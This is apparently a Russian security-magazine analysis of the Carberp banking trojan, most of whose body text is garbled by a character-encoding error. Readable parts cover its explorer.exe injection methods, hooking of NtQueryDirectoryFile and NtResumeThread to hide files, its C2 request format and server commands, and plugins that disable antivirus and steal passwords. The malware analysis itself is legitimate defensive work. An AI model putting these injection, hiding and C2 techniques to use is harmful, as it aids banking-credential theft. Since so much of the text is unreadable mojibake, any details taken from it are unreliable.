ÕÔÎË×Éß. © ÎÁËÏÎÆ×, ÒÆË×Éà ÏÓÏÂÑÁÇÁÆÓÒà Ã ËÏÎÓÆËÒÓ explorer’Á 
ÎÁ ÓÏ ÍÆÒÓÏ, ÄÅÆ ÑÁÎÝÙÆ ÎÁÖÏÅÉÌÒà ÉÒÖÏÅÎÜÊ ÏÂÑÁÈ. ³ÆÐÆÑÝ 
ÃÒÆ ÄÏÓÏÃÏ ÅÌà ÈÁÐÔÒËÁ ÅÏØÆÑÎÆÄÏ explorer’Á. ³ÑÏàÎ ÃÜÈÜÃÁÆÓ 
ZwResumeThread, ÓÆÍ ÒÁÍÜÍ ÈÁÐÔÒËÁà ÃÑÆÅÏÎÏÒÎÜÊ ËÏÅ, ÔÇÆ 
ÎÁÖÏÅàÚÉÊÒà Ã ÅÑÔÄÏÍ ÐÑÏ×ÆÒÒÆ. °ÏÌÔØÉÃ ÔÐÑÁÃÌÆÎÉÆ Ã ÎÏÃÏÍ 
ÍÆÒÓÆ, Carberp ÎÁØÉÎÁÆÓ ÑÁÂÏÓÁÓÝ Ã ÐÏÌÎÔß ÒÉÌÔ, ÈÁÐÔÒËÁà ÃÑÆ-
ÅÏÎÏÒÎÜÆ ÕÔÎË×ÉÉ payload’Á É ÃÎÆÅÑààÒÝ ÃÏ ÃÒÆ ÈÁÐÔÒËÁÆÍÜÆ 
ÐÑÏ×ÆÒÒÜ. ¦ÒÓÆÒÓÃÆÎÎÏ, ÃÏ ÃÒÆÖ ÎÏÃÜÖ ÈÁÖÃÁØÆÎÎÜÖ ÓÆÑÑÉÓÏÑÉàÖ 
ÃÑÆÅÏÎÏÒ ÓÁËÇÆ ÐÑÏÉÈÃÏÅÉÓ ÏÐÉÒÁÎÎÔß ÃÜÙÆ ÐÑÏÃÆÑËÔ ÎÁ ÎÁÌÉ-
ØÉÆ ÖÔËÏÃ Ã ÎÆÏÂÖÏÅÉÍÜÖ ÆÍÔ API-ÕÔÎË×ÉàÖ.
£ ÂÏÌÆÆ ÎÏÃÏÊ ÃÆÑÒÉÉ Carberp’Á ÎÁÍÉ ÂÜÌ ÏÂÎÁÑÔÇÆÎ ÅÑÔÄÏÊ ÒÐÏ-
ÒÏÂ ÈÁÑÁÇÆÎÉà ÐÏÑÏÇÅÆÎÎÏÄÏ ÐÑÏ×ÆÒÒÁ explorer.exe. °ÆÑÃÜÆ ÙÁÄÉ 

ÏÒÓÁÌÉÒÝ ÎÆÉÈÍÆÎÎÜÍÉ — ÒÎÁØÁÌÁ ÒÏÈÅÁÆÓÒà ÄÌÏÂÁÌÝÎÁà ÒÆË×Éà, 
ËÏÓÏÑÁà ÍÁÐÉÓÒà Ã ÅÏØÆÑÎÉÊ ÐÑÏ×ÆÒÒ, É ÓÔÅÁ ËÏÐÉÑÔÆÓÒà ÃÑÆÅÏ-
ÎÏÒÎÜÊ ËÏÅ. ¡ ÅÁÌÝÙÆ ÃÜÈÜÃÁÆÓÒà ÎÆÅÏËÔÍÆÎÓÉÑÏÃÁÎÎÁà ÕÔÎË×Éà 
ZwQueueApcThread, ËÏÓÏÑÁà ÒÓÁÃÉÓ Ã ÏØÆÑÆÅÝ ÎÁ ÃÜÐÏÌÎÆÎÉÆ Ã 
explorer’Æ ÁÒÉÎÖÑÏÎÎÜÊ ÃÜÈÏÃ ÏÅÎÏÊ ÉÈ ÃÑÆÅÏÎÏÒÎÜÖ ÕÔÎË×ÉÊ, 
ÎÁÖÏÅàÚÉÖÒà Ã ÏÂÑÁÈÆ ÒÆË×ÉÉ. °ÑÉ ÃÜÈÏÃÆ ZwResumeThread 
ÎÁØÉÎÁÆÓÒà ÃÜÐÏÌÎÆÎÉÆ ÃÑÆÅÏÎÏÒÎÏÄÏ ËÏÅÁ.
 
Игра в прятки
°ÑÆÇÅÆ ØÆÍ ÏÂÒÔÇÅÁÓÝ ÕÔÎË×ÉÉ, ËÏÓÏÑÜÍÉ ÍÏÇÆÓ ÐÏÖÃÁÒÓÁÓÝÒà 
ÅÁÎÎÜÊ ÃÑÆÅÏÎÏÒ, ÒÓÏÉÓ ÑÁÈÏÂÑÁÓÝ ÆÚÆ ÎÆÒËÏÌÝËÏ ÉÎÓÆÑÆÒ-
ÎÜÖ ÍÏÍÆÎÓÏÃ ÆÄÏ ÇÉÈÎÉ. «ÏÎÆØÎÏ ÇÆ, ËÁË É ÌßÂÏÊ ÔÃÁÇÁßÚÉÊ 
ÒÆÂà ÃÉÑÔÒ, Carberp ÐÑÏÐÉÒÜÃÁÆÓÒà Ã ÁÃÓÏÈÁÄÑÔÈËÔ, ÐÑÉØÆÍ 
ÂÁÎÁÌÝÎÏ ËÏÐÉÑÔà ÒÆÂà ÐÏÅ ÒÌÔØÁÊÎÜÍ ÉÍÆÎÆÍ Ã ÅÉÑÆËÓÏÑÉß 
%HOMEDRIVE%\%HOMEPATH%\StartMenu\Programs\StartUp\. ³ÆÍ 
ÎÆ ÍÆÎÆÆ, ÎÆ ÃÒÆ ÓÁË ÐÑÏÒÓÏ! £ ÃÉÑÔÒÆ ÐÑÆÅÔÒÍÏÓÑÆÎ ÍÆÖÁÎÉÈÍ, 
ÐÏÈÃÏÌàßÚÉÊ ÒËÑÜÓÝ ÐÑÉÒÔÓÒÓÃÉÆ ÕÁÊÌÁ Ã ÒÉÒÓÆÍÆ.
°ÏÒÌÆ ÃÎÆÅÑÆÎÉà ÓÑÏàÎÁ Ã ÅÏØÆÑÎÉÊ explorer.exe, ÃÜÈÜÃÁßÓ-

Алгоритм заражения процесса explorer.exe, часть 1

Win32/Trojan-
Downloader.
Carberp.W 
trojan

Win32/Trojan-
Downloader.
Carberp.X trojan

Win32/TrojanDown-
loader.Carberp.X 
trojan

Пакер Да Да Да

Анти-ВМ Нет Нет Нет

Анти-отладка Нет Нет Нет

Метод инъекции
Создание двух 
объектов типа «Sec-
tion»

Создание двух 
объектов типа "Section" Вызов QueueAPCThread()

Шифрование строк Нет Да Нет

Шифрование команд Нет Да Нет

Шифрование функций Да Да Да

Предотвращение перехвата API-
функций Да Да Да

Рандомизация данных в секциях Да Да Да

Сокрытие вредоносного файла от ОС Да Да Да

Таблица 2. Все средства защиты, применяемые нашим трояном
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Òà ÍÆÖÁÎÉÈÍÜ, ËÏÓÏÑÜÆ ÉÎÇÆËÓÉÑÔßÓ ÆÄÏ Ã ÉÒÖÏÅÎÜÊ explorer. 
²ÎÁØÁÌÁ ÐÑÏÉÒÖÏÅÉÓ ÐÏÉÒË PID-ÐÑÏ×ÆÒÒÁ. ²ÓÏÉÓ ÏÓÍÆÓÉÓÝ, ØÓÏ Ã 
ÐÑÏÄÑÁÍÍÆ ÈÁÌÏÇÆÎÏ ÅÃÁ ÒÐÏÒÏÂÁ ÐÏÉÒËÁ. °ÆÑÃÜÊ ÒÐÏÒÏÂ ÈÁËÌß-
ØÁÆÓÒà Ã ÐÏÒÌÆÅÏÃÁÓÆÌÝÎÏÍ ÃÜÈÏÃÆ ÕÔÎË×ÉÊ FindWindow ("Shell_
TrayWnd", 0) É GetWindowThreadProcessId (hWnd, &id), ÓÁËÉÍ 
ÏÂÑÁÈÏÍ, Ã ÐÆÑÆÍÆÎÎÏÊ id ÅÏÌÇÆÎ ÐÏàÃÉÓÝÒà ÎÔÇÎÜÊ PID. ¦ÒÌÉ 
ÇÆ ÐÏ ËÁËÏÊ-ÓÏ ÐÑÉØÉÎÆ ÕÔÎË×Éà ÃÆÑÎÔÌÁ «id=0», ÓÏ ÐÑÏÉÒÖÏÅÉÓ 
ÏÂÜËÎÏÃÆÎÎÜÊ ÐÆÑÆÂÏÑ ÐÑÏ×ÆÒÒÏÃ É ÐÏÉÒË ÎÔÇÎÏÄÏ.
«ÏÄÅÁ ÈÁÃÆÓÎÜÊ PID ÎÁÊÅÆÎ, ÐÑÏÄÑÁÍÍÁ ÃÎÆÅÑàÆÓÒà Ã 
explorer ÅÁÃÎÏ ÉÈÃÆÒÓÎÜÍ ÒÐÏÒÏÂÏÍ — ZwOpenProcess + 
WriteProcessMemory. ³ÁËÇÆ ÃÑÆÅÏÎÏÒ ÅÆÌÁÆÓ ÖÔË ÅÃÔÖ ÕÔÎË×ÉÊ Ã 
ÈÁÖÃÁØÆÎÎÏÍ ÐÑÏ×ÆÒÒÆ — NtQueryDirectoryFile É NtResumeThread 
ÉÈ ÂÉÂÌÉÏÓÆËÉ ntdll.dll. ¸ÓÏÂÜ ÔÊÓÉ ÏÓ ÅÆÓÆËÓÁ ÎÆËÏÓÏÑÜÍÉ ÁÎÓÉ-
ÑÔÓËÉÓÁÍÉ (ÎÁÐÑÉÍÆÑ, RootkitUnhooker), ÖÔË ÅÆÌÁÆÓÒà ÎÆ ÒÏÃÒÆÍ 
ÒÓÁÎÅÁÑÓÎÜÍ ÒÐÏÒÏÂÏÍ. ³ÑÏàÎ ÐÏÅÍÆÎàÆÓ ÎÆ ÁÅÑÆÒ ÎÔÇÎÏÊ ÕÔÎË-
×ÉÉ, Á ÁÅÑÆÒ ÕÔÎË×ÉÉ KiFastSystemCall (ÒÍ. ÑÉÒÔÎÏË).
³ÁË ÅÌà ØÆÄÏ ÇÆ ÐÏÅÍÆÎàßÓÒà ÕÔÎË×ÉÉ? NtQueryDirectoryFile 
ÐÆÑÆÂÉÑÁÆÓ ÃÒÆ ÕÁÊÌÜ, ÎÁÖÏÅàÚÉÆÒà Ã ÅÉÑÆËÓÏÑÉÉ. ¯ÎÁ ÃÜÈÜ-
ÃÁÆÓÒà ÐÏØÓÉ ÃÏ ÃÒÆÖ ÐÑÏÄÑÁÍÍÁÖ (Ã ÓÏÍ ØÉÒÌÆ Ã explorer É cmd) 
ÐÑÉ ÏÂÈÏÑÆ ËÁÓÁÌÏÄÏÃ ÕÁÊÌÏÃÏÊ ÒÉÒÓÆÍÜ. ¦Æ ÐÏÅÍÆÎÁ ÎÆÏÂÖÏÅÉÍÁ 
ÅÌà ÓÏÄÏ, ØÓÏÂÜ ÒËÑÜÓÝ ÕÁËÓ ÐÑÉÒÔÓÒÓÃÉà ÕÁÊÌÁ. NtResumeThread 
ÃÜÈÜÃÁÆÓÒà explorer’ÏÍ ÐÑÉ ÒÍÆÎÆ ÅÉÑÆËÓÏÑÉÉ É ÐÑÉ (!) ÈÁÐÔÒËÆ 
ÐÑÉÌÏÇÆÎÉà. ³ÁËÉÍ ÏÂÑÁÈÏÍ, ÆÒÌÉ explorer ÈÁÑÁÇÆÎ, ÓÏ ÐÑÉ ÈÁÐÔ-
ÒËÆ ÌßÂÏÄÏ ÐÑÉÌÏÇÆÎÉà ÃÑÆÅÏÎÏÒÎÁà «ÈÁËÌÁÅËÁ» ÏÐÑÆÅÆÌàÆÓ PID 
ÈÁÐÔÒËÁÆÍÏÄÏ ÐÑÏ×ÆÒÒÁ É ÉÎÇÆËÓÉÓÒà Ã ÎÆÄÏ, ÓÁËÇÆ ÐÏÅÍÆÎàà 
ÃÜÙÆÔÐÏÍàÎÔÓÜÆ ÕÔÎË×ÉÉ. ¬ÆÄËÏ ÐÏÎàÓÝ, ØÓÏ ÐÑÉ ÒÓÁÑÓÆ ÒÉÒÓÆÍÜ 
ÓÑÏàÎ ÁÃÓÏÍÁÓÉØÆÒËÉ ÈÁÐÔÒËÁÆÓÒà, ÈÁÑÁÇÁÆÓ explorer, Á ÒÏÏÓÃÆÓ-
ÒÓÃÆÎÎÏ É ÃÒÆ ÐÏÑÏÇÅÆÎÎÜÆ ÉÍ ÐÑÏ×ÆÒÒÜ.
®Á ÞÓÏÍ ÈÁËÁÎØÉÃÁÆÓÒà ÒÐÉÒÏË ÒÑÆÅÒÓÃ ÈÁÚÉÓÜ, ÉÒÐÏÌÝÈÔÆÍÜÖ 
Carberp’ÏÍ. °ÏÌÎÜÊ ÒÐÉÒÏË ÒÑÆÅÒÓÃ ÈÁÚÉÓÜ, ÐÑÉÍÆÎàÆÍÜÊ ÞÓÉÍ 
ÓÑÏàÎÏÍ, ÐÑÉÃÆÅÆÎ Ã ÓÁÂÌÉ×Æ 2.

Начинка
±ÁÈÏÂÑÁÃÙÉÒÝ ÒÏ ÃÒÆÍÉ ÈÁÚÉÓÎÜÍÉ ÍÆÖÁÎÉÈÍÁÍÉ ÓÑÏàÎÁ, ÍÜ 
ÐÑÉÒÓÔÐÉÌÉ Ë ÉÈÔØÆÎÉß ÃÉÑÔÒÎÏÊ ÎÁØÉÎËÉ. ¯ËÁÈÁÌÏÒÝ, ØÓÏ Ã ÎÆÍ 

ÉÍÆÆÓ ÍÆÒÓÏ ÃÐÏÌÎÆ ÒÓÁÎÅÁÑÓÎÜÊ ÕÔÎË×ÉÏÎÁÌ ÐÏÖÉÚÆÎÉà ÐÏÌÝÈÏ-
ÃÁÓÆÌÝÒËÉÖ ÅÁÎÎÜÖ, ÒÑÁÃÎÉÍÜÊ Ò ÕÔÎË×ÉÏÎÁÌÏÍ ÓÏÄÏ ÇÆ IBank’Á 
ÉÌÉ Zeus’Á É ÅÏÐÏÌÎÆÎÎÜÊ ÎÆÐÌÏÖÉÍ ÐÑÏÓÏËÏÌÏÍ ÏÂÍÆÎÁ ÅÁÎÎÜÖ 
ÍÆÇÅÔ ËÏÍÐÝßÓÆÑÁÍÉ ÇÆÑÓÃÜ É ÈÌÏÔÍÜÙÌÆÎÎÉËÁ. ²ÏÂÉÑÁà ÐÏ 
ÃÒÆÊ ÒÉÒÓÆÍÆ ÐÏÌÝÈÏÃÁÓÆÌÝÒËÉÆ ÒÆÑÓÉÕÉËÁÓÜ, ÐÁÑÏÌÉ Ë ÔØÆÓÎÜÍ 
ÈÁÐÉÒàÍ É ÐÑÏØÆÊ ËÌßØÆÃÏÊ ÉÎÕÏÑÍÁ×ÉÉ, ÅÏÂÜÓÜÆ Ò ÐÏÍÏÚÝß 
ÑÁÂÏÓÁßÚÆÄÏ ËÆÊÌÏÄÄÆÑÁ É ÒÎàÓÉà ÒËÑÉÎÙÏÓÏÃ ÑÁÂÏØÆÄÏ ÒÓÏÌÁ, 
ÃÑÆÅÏÎÏÒ ÔÐÁËÏÃÜÃÁÆÓ ÃÒÆ ÎÁÊÅÆÎÎÏÆ Ã cab-ÁÑÖÉÃ É ÄÏÓÏÃÉÓ ÆÄÏ Ë 
ÏÓÐÑÁÃËÆ.

Общение с хозяином
³ÆÐÆÑÝ ÐÏÒÍÏÓÑÉÍ ÎÁ ÑÆÁÌÉÈÏÃÁÎÎÜÊ Ã ÓÑÏàÎÆ ÐÑÏÓÏËÏÌ ÏÂÍÆÎÁ 
ÅÁÎÎÜÍÉ. ´ÒÌÏÃÎÏ Ã ÎÆÍ ÍÏÇÎÏ ÃÜÅÆÌÉÓÝ ÞÓÁÐ ÔÒÓÁÎÏÃËÉ ÒÏÆÅÉ-
ÎÆÎÉà É ÎÆÐÏÒÑÆÅÒÓÃÆÎÎÏ ÑÁÂÏØÉÊ ÞÓÁÐ ÏÂÍÆÎÁ ÉÎÕÏÑÍÁ×ÉÆÊ.

¾ÓÁÐ ÔÒÓÁÎÏÃËÉ ÒÏÆÅÉÎÆÎÉà
1 — ¨ÁÑÁÇÆÎÎÜÊ ËÏÍÐÝßÓÆÑ:

1. ´ÒÓÁÎÏÃËÁ ÒÏÆÅÉÎÆÎÉà Ò ÒÆÑÃÆÑÏÍ 1.
2. ¯ÓÐÑÁÃËÁ ÒÓÑÏËÉ GET-ÈÁÐÑÏÒÏÍ, ÐÑÆÅÔÒÍÁÓÑÉÃÁßÚÆÊ ÔËÁ-
ÈÁÎÉÆ ÐÁÑÁÍÆÓÑÏÃ:

• uptime;
• downlink;
• uplink;
• id (ÈÁÙÉÕÑÏÃÁÎÎÁà ÒÓÑÏËÁ, ÒÏÅÆÑÇÁÚÁà ÉÎÕÏÑÍÁ×Éß Ï 
ÈÁÑÁÇÆÎÎÏÊ ÒÉÒÓÆÍÆ);
• statpass (ÎÁØÁÌÝÎÜÊ ÐÁÑÏÌÝ);
• comment.

£ÏÓ ÐÑÉÍÆÑ ÓÁËÏÄÏ ÈÁÐÑÏÒÁ:
/stat?uptime=<val1>&downlink=<val2>&uplink=<val3>
&id=<val4>&statpass=<val5>&comment=<val6>

3. ¯ÇÉÅÁÎÉÆ ÐÑÉÆÍÁ ÉÎÕÏÑÍÁ×ÉÉ ÏÓ ÒÆÑÃÆÑÁ.
2 – ²ÆÑÃÆÑ ÈÌÏÔÍÜÙÌÆÎÎÉËÁ:

Так выглядит подмена функций
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MALWARE Win32/TrojanDownloader.Carber
Win32/TrojanDownloader.Carberp

1. ¯ÓÐÑÁÃËÁ ÉÎÕÏÑÍÁ×ÉÉ ÈÁÑÁÇÆÎÎÏÍÔ ËÏÍÐÝßÓÆÑÔ. ÏÄÔÓ 
ÂÜÓÝ ÏÓÐÑÁÃÌÆÎÜ ÒÌÆÅÔßÚÉÆ ËÏÅÜ:

• ok;
• badpass;
• session: <� ÒÆÒÒÉÉ>.

3 — ¨ÁÑÁÇÆÎÎÜÊ ËÏÍÐÝßÓÆÑ:
1. ±ÁÒÐÏÈÎÁÃÁÎÉÆ ÐÏÌÔØÆÎÎÏÊ ÏÓ ÒÆÑÃÆÑÁ ÉÎÕÏÑÍÁ×ÉÉ:

• ok — ÒÏÆÅÉÎÆÎÉÆ ÔÒÓÁÎÏÃÌÆÎÏ;
• badpass, session — ÐÏÃÓÏÑÎÁà ÐÆÑÆÅÁØÁ ÎÁØÁÌÝÎÏÊ 
ÉÎÕÏÑÍÁ×ÉÉ ÏÓ ÒÆÑÃÆÑÁ.

¾ÓÁÐ ÐÆÑÆÅÁØÉ ÅÁÎÎÜÖ
1 — ¨ÁÑÁÇÆÎÎÜÊ ËÏÍÐÝßÓÆÑ:

1. ¯ÓÐÑÁÃËÁ ÒÓÑÏËÉ POST-ÈÁÐÑÏÒÏÍ ÎÁ ÒÆÑÃÆÑ 2, ÐÑÆÅÔÒÍÁ-
ÓÑÉÃÁßÚÆÊ ÔËÁÈÁÎÉÆ ÐÁÑÁÍÆÓÑÏÃ:

• ÏÓÎÏÒÉÓÆÌÝÎÏÄÏ ÐÔÓÉ, ÐÏ ËÏÓÏÑÏÍÔ ÎÁ ÒÆÑÃÆÑÆ ÈÌÏÔÍÜÙ-
ÌÆÎÎÉËÁ ÂÔÅÔÓ ÑÁÒÐÏÌÁÄÁÓÝÒà ÐÆÑÆÅÁÎÎÜÆ ÕÁÊÌÜ;
• ÈÁÙÉÕÑÏÃÁÎÎÁà ÒÓÑÏËÁ, ÒÏÅÆÑÇÁÚÁà ÈÁËÏÅÉÑÏÃÁÎÎÔß 
ÒÓÑÏËÔ Ò ÉÎÕÏÑÍÁ×ÉÆÊ Ï ÒÉÒÓÆÍÆ É ËÏÅÏÃÏÆ ÒÌÏÃÏ.

°ÆÑÆÅÁÃÁÆÍÁà ÒÓÑÏËÁ ÍÏÇÆÓ ÃÜÄÌàÅÆÓÝ ÓÁË:
1|palladin|05B45905A93F7D4B843D385AAE079AF1|0|0

¡ ÈÁÙÉÕÑÏÃÁÎÎÁà ÒÌÆÅÔßÚÉÍ ÏÂÑÁÈÏÍ:
a=e15e327af46a915c1b0014a284c052787ea7d63c8c40b1
a3dcafea6bb8e7076b0f6601861783dff7cbca429eb76a47

¹ÉÕÑÏÃÁÎÉÆ ÒÓÑÏËÉ ÒÏÐÑÏÃÏÇÅÁÆÓÒà ÅÏÐÏÌÎÆÎÉÆÍ ÉÈÂÜÓÏØ-
ÎÏÒÓÉ.
2. ¯ÓÐÑÁÃËÁ ÒÕÏÑÍÉÑÏÃÁÎÎÏÄÏ .cab-ÕÁÊÌÁ Ò ÐÏÖÉÚÆÎÎÏÊ 
ÉÎÕÏÑÍÁ×ÉÆÊ ÒÆÑÃÆÑÔ 2.
3. °ÆÑÉÏÅÉØÆÒËÉ ÐÑÏÉÒÖÏÅÉÓ ÐÑÏÃÆÑËÁ ÔÒÓÁÎÏÃÌÆÎÎÏÄÏ 
ÒÏÆÅÉÎÆÎÉà. ¥ÁÎÎÏÆ ÅÆÊÒÓÃÉÆ ÁÎÁÌÏÄÉØÎÏ ÐÑÆÅÜÅÔÚÆÍÔ, ÈÁ 
ÉÒËÌßØÆÎÉÆÍ ÓÏÄÏ, ØÓÏ ÐÆÑÆÅÁÆÓÒà ÒÓÑÏËÁ:
0|check|00000000000000000000000000000000|

2 — ²ÆÑÃÆÑ:
1. ®Á ÒÓÏÑÏÎÆ ÒÆÑÃÆÑÁ ÏÒÔÚÆÒÓÃÌàÆÓÒà ÑÁÒÙÉÕÑÏÃËÁ ÐÑÉ-
ÎàÓÏÄÏ ÒÏÏÂÚÆÎÉà. ¯ÓÐÑÁÃËÁ ÔÃÆÅÏÍÌÆÎÉà ÏÂ ÔÒÐÆÙÎÏÍ 
ÐÑÉÆÍÆ ÐÑÏÃÆÑÏØÎÏÄÏ ÐÁËÆÓÁ.
2. ¯ÓÐÑÁÃËÁ ÉÎÕÏÑÍÁ×ÉÉ ÈÁÑÁÇÆÎÎÏÊ ÍÁÙÉÎÆ. £ÏÓ ØÓÏ ÒÆÑ-
ÃÆÑ ÍÏÇÆÓ ÏÓÐÑÁÃÉÓÝ Ã ÈÁÃÉÒÉÍÏÒÓÉ ÏÓ ÃÆÑÒÉÉ ÓÑÏàÎ×Á (ÒÍ. 
ÓÁÂÌÉ×Ô 3).

3 — ¨ÁÑÁÇÆÎÎÜÊ ËÏÍÐÝßÓÆÑ:
1. ±ÁÒÐÏÈÎÁÃÁÎÉÆ ÐÑÉÎàÓÏÊ ÉÎÕÏÑÍÁ×ÉÉ (ÒÍ. ÓÁÂÌÉ×Ô 4).

®ÁÅÏ ÒËÁÈÁÓÝ, ØÓÏ ÐÆÑÆÅÁØÔ ÉÎÕÏÑÍÁ×ÉÉ Carberp ÏÒÔÚÆÒÓÃÌà-
ÆÓ ÄÑÁÍÏÓÎÏ: ÉÎÉ×ÉÁÌÉÈÁ×Éà ÒÃàÈÉ ÒÏÐÑÏÃÏÇÅÁÆÓÒà ÈÁÙÉÓÜÍ Ã 

А вот и пропатченные байтики в explorer.exe

Граф из IDE проанализированной второй части нашего 
криптора

В ранней версии: В новой версии:

update update

dexec download

killbot killuser

startsb loaddll

grabber

Таблица 3. Информация, отправляемая трояну сервером, в зависимости от версии
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ÓÑÏàÎ ÐÁÑÏÌÆÍ, ÒÏÒÓÏàÎÉÆ ËÁÎÁÌÁ ÒÃàÈÉ ÐÆÑÉÏÅÉØÆÒËÉ ÐÑÏÃÆÑà-
ÆÓÒà ÒÐÆ×ÉÁÌÝÎÜÍÉ ÐÁËÆÓÁÍÉ, ÐÆÑÆÅÁÃÁÆÍÁà ÉÎÕÏÑÍÁ×Éà ÙÉÕÑÔ-
ÆÓÒà, Á ÙÉÕÑÏÓÆËÒÓ ÐÑÉ ÞÓÏÍ ÎÁÐÏÌÎàÆÓÒà ÉÈÂÜÓÏØÎÏÒÓÝß. ¢ÏÌÆÆ 
ÓÏÄÏ, ÃÏÈÍÏÇÎÏ ÔÅÁÌÆÎÎÏÆ ÔÐÑÁÃÌÆÎÉÆ ÈÌÏÃÑÆÅÏÍ — Ã ÑÁÈÂÉÑÁÆ-
ÍÏÊ ÎÁÍÉ ÃÆÑÒÉÉ ÐÑÉÒÔÓÒÓÃÏÃÁÌ ÕÔÎË×ÉÏÎÁÌ ÐÏ ÑÁÈÂÏÑÔ ËÏÍÁÎÅ 
ÏÓ ÔÅÁÌÆÎÎÏÄÏ ÒÆÑÃÆÑÁ. ¨ÅÆÒÝ ÃÉÑÔÒÏÐÉÒÁÓÆÌÉ ÐÑÆÅÔÒÍÏÓÑÆÌÉ 
ÃÏÈÍÏÇÎÏÒÓÝ ÏÂÎÏÃÌÆÎÉà ÃÉÑÔÒÁ, ÃÏÈÍÏÇÎÏÒÓÝ ÒÁÍÏÔÅÁÌÆÎÉà É 
ÈÁÄÑÔÈËÉ ÅÏÐÏÌÎÉÓÆÌÝÎÜÖ ÍÏÅÔÌÆÊ. «ÒÓÁÓÉ, ÐÏÒÌÆÅÎÉÆ ÎÁÐÑÁÃÌÆ-
ÎÜ ÎÁ ×ÆÌÆÃÜÆ ÂÁÎËÏÃÒËÉÆ ÒÉÒÓÆÍÜ. ¨ÁÐÏÌÔØÉÓÝ ÏÂÑÁÈÆ× ÓÁËÏÄÏ 
ÍÏÅÔÌà ÎÁÍ, Ë ÒÏÇÁÌÆÎÉß, ÎÆ ÔÅÁÌÏÒÝ, ÎÏ Ò ÃÜÒÏËÏÊ ÃÆÑÏàÓÎÏÒÓÝß 
Ã ÎÆÍ ÍÏÇÎÏ ÏÂÎÁÑÔÇÉÓÝ ÍÆÖÁÎÉÈÍ ÐÆÑÆÖÃÁÓÁ ÃÜÐÏÌÎàÆÍÏÊ ËÌÉ-
ÆÎÓÏÍ ÓÑÁÎÈÁË×ÉÉ É ÐÏÅÍÆÎÜ ÒÓÑÁÎÉ× ÁÔÓÆÎÓÉÕÉËÁ×ÉÉ ÎÁ ÒÓÑÁ-
ÎÉØËÁÖ ÉÎÓÆÑÎÆÓ-ÂÁÎËÉÎÄÁ.

Дополнительные возможности
¥ÏÐÏÌÎÉÓÆÌÝÎÔß ÔÂÏÊÎÏÒÓÝ ÓÑÏàÎ×Ô ÅÏÂÁÃÌàßÓ ÒÐÆ×ÉÁÌÝÎÜÆ 
ÐÌÁÄÉÎÜ, ËÏÓÏÑÜÆ ÏÎ ÈÁÄÑÔÇÁÆÓ ÃÅÏÂÁÃÏË Ë ÏÒÎÏÃÎÏÍÔ ÕÔÎË×ÉÏ-
ÎÁÌÔ. ®Á ÍÏÍÆÎÓ ÉÒÒÌÆÅÏÃÁÎÉà Ô ÎÁÒ ÂÜÌÏ ÓÑÉ ÈÁÙÉÕÑÏÃÁÎÎÜÖ 
ÐÌÁÄÉÎÁ Ò ÒÉÍÃÏÌÉØÎÜÍÉ ÉÍÆÎÁÍÉ miniav.plug, killav.plug É 
passw.plug (ÉÍÆÎÎÏ Ã ÓÁËÏÍ ÃÉÅÆ ÉÖ ÔÅÁÌÏÒÝ ÅÏÒÓÁÓÝ Ò ÒÆÑÃÆÑÁ, 
Ò ËÏÓÏÑÜÍ Carberp ÃÈÁÉÍÏÅÆÊÒÓÃÔÆÓ). °ÏÓÑÁÓÉÃ ÎÆÍÎÏÄÏ ÃÑÆÍÆ-
ÎÉ ÎÁ ÉÒÒÌÆÅÏÃÁÎÉÆ ÙÉÕÑÏÃÁÎÎÜÖ ÕÁÊÌÏÃ É ÎÁÐÉÒÁÎÉÆ Ë ÎÉÍ 
ÅÆËÑÉÐÓÏÑÁ ÎÁ àÈÜËÆ python, ÔÅÁÌÏÒÝ ÃÜàÒÎÉÓÝ, ØÓÏ ÒÏÅÆÑÇÉ-
ÍÏÆ ÞÓÉÖ ÐÌÁÄÉÎÏÃ ÒÏÏÓÃÆÓÒÓÃÔÆÓ ÉÖ ÎÁÈÃÁÎÉß. ¥ÆÊÒÓÃÉÓÆÌÝÎÏ, 
miniav.plug ÈÁÎÉÍÁÆÓÒà ÔÒÓÑÁÎÆÎÉÆÍ ËÏÎËÔÑÆÎÓÏÃ — ÆÒÌÉ ÎÁ 
ËÏÍÐÝßÓÆÑÆ ÇÆÑÓÃÜ ÐÏÍÉÍÏ Carberp’a ÐÑÉÒÔÓÒÓÃÔÆÓ ÅÑÔÄÏÊ ÈÌÏÃ-
ÑÆÅ, ÎÁÐÑÉÍÆÑ, ÓÏÓ ÇÆ ÒÁÍÜÊ Zeus, ÓÏ ÐÏÒÌÆÅÎÉÊ ÂÆÈÇÁÌÏÒÓÎÏ 
ÔÅÁÌàÆÓÒà ÉÈ ÒÉÒÓÆÍÜ. °ÌÁÄÉÎ killav.plug ÎÆÊÓÑÁÌÉÈÔÆÓ ÑÁÂÏÓÔ 
ÁÎÓÉÃÉÑÔÒÎÜÖ ÒÉÒÓÆÍ, ÎÔ Á passw.plug ÒÐÏÒÏÂÆÎ ÐÆÑÆÖÃÁÓÜÃÁÓÝ 
ÃÃÏÅÉÍÜÆ ÐÏÌÝÈÏÃÁÓÆÌÆÍ ÐÁÑÏÌÉ.

Заключение
©ÓÁË, ÍÜ ÎÆÍÎÏÄÏ ÑÁÒÒËÁÈÁÌÉ Ï ÈÁÚÉÓÎÜÖ ÓÑßËÁÖ ÓÑÏàÎÁ, Ï 
ÃÆÒÝÍÁ ÞÌÆÄÁÎÓÎÏÍ ÒÐÏÒÏÂÆ ÈÁÑÁÇÆÎÉà ÅÑÔÄÉÖ ÐÑÏ×ÆÒÒÏÃ, ÎÁËÏ-
ÎÆ×, ÎÆÐÏÒÑÆÅÒÓÃÆÎÎÏ Ï ÆÄÏ ÃÑÆÅÏÎÏÒÎÏÍ ÕÔÎË×ÉÏÎÁÌÆ. ®ÁÌÉ×Ï 
ÞÃÏÌß×Éà ÓÆÖÎÏÌÏÄÉÊ ÒÏËÑÜÓÉà ÏÓ ÁÎÓÉÃÉÑÔÒÎÜÖ ÞÃÑÉÒÓÉË É 
ÒÉÄÎÁÓÔÑ. « ÒÌÏÃÔ, ÎÁ ÍÏÍÆÎÓ ÎÁØÁÌÁ ÉÒÒÌÆÅÏÃÁÎÉà ÅÁÌÆËÏ ÎÆ ÃÒÆ 
ÁÎÓÉÃÉÑÔÒÎÜÆ ÐÑÏÅÔËÓÜ ÍÏÄÌÉ ÏÓÎÆÒÓÉ ÕÁÊÌ Ë ËÌÁÒÒÔ ÃÑÆÅÏÎÏÒ-
ÎÜÖ. °ÏÞÓÏÍÔ ÎÁÅÏ ÅÆÑÇÁÓÝ ÑÔËÔ ÎÁ ÐÔÌÝÒÆ — ÔÇÆ ÒÆÊØÁÒ ÎÆËÏÓÏ-
